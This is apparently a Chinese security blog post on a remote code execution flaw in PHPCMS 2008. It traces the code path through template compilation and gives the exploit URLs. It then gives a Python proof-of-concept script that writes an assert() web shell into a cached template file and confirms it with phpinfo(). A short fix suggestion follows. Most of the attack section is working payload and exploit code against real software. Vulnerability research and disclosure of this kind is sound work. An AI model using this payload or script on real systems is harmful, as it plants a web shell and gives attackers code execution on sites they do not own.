Fork me on GitHub

phpcms2008远程代码执行漏洞

漏洞复现

1
2
3
http://127.0.0.1/phpcms/type.php?template=tag_(){};assert($_POST[1]);{//../rss
http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php
1=phpinfo()

漏洞分析

type.php包含common.inc.php 任意变量注册–>$templat变量可控–>template()变量$template可控–>template_compile()变量$template可控–>file_put_contents()$template影响两个参数变量可控,借助php此函数解析文件特性,将一句话写入文件。

  • 查看type.php文件
  • 跟进common.inc.php文件

    $_GET,$_POST等全局变量进行注册,将数组的项注册为变量。可以对任意变量进行注册。
  • 跟进template()

$template变量可控。当$template输入为template=tag_(){};assert($_POST[1]);{//../rss时,$compiledtplfile="data/cache_template/phpcmstag(){};assert($_POST[1]);{//../rss.tpl.php"。进入判断 ,调用template_compile()

template_compile()中,$template变量可控,而$content变量当输入为template=tag(){};assert($_POST[1]);{//../rss,content内容中$template变量可控,最后file_put_contents函数写入任意代码,file_put_contents路径为data/cache_template/phpcmstag(){};assert($_POST[1]); {//../rss.tpl.php时,php会将其路径解析为data/cache_template/rss.tpl.php

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import HackRequests
import sys

def poc(arg, **kwargs):
payload = r'''/type.php?template=tag_(){};@unlink(FILE);assert($_GET[1]);{//../rss'''
hh = HackRequests.http(arg + payload)
data = {'1':'phpinfo()'}
shell_url = arg + '/data/cache_template/rss.tpl.php'
r = HackRequests.http(shell_url,post = data)
if r.status_code == 200 and 'allow_url_fopen' in r.text():
result = {
"name": "phpcms_2008 rce", # 插件名称
"content": "漏洞存在!攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入。该漏洞危害程度为高危(High)。", # 插件返回内容详情,会造成什么后果。
"url": shell_url, # 漏洞存在url
"log": hh.log,
"tag": "rce" # 漏洞标签
}
print(result['content']+'\n'+'shell地址:'+result['url'])

if __name__=='__main__':
if len(sys.argv)!=2:
print('>>>>>>>>>>>python poc.py url<<<<<<<<<<<<<<')
sys.exit(-1)
else:
url=sys.argv[1]
poc(url)

解决办法
过滤$template函数。


参考文献:https://www.cnblogs.com/ichunqiu/p/10039579.html

-------------本文结束感谢您的阅读-------------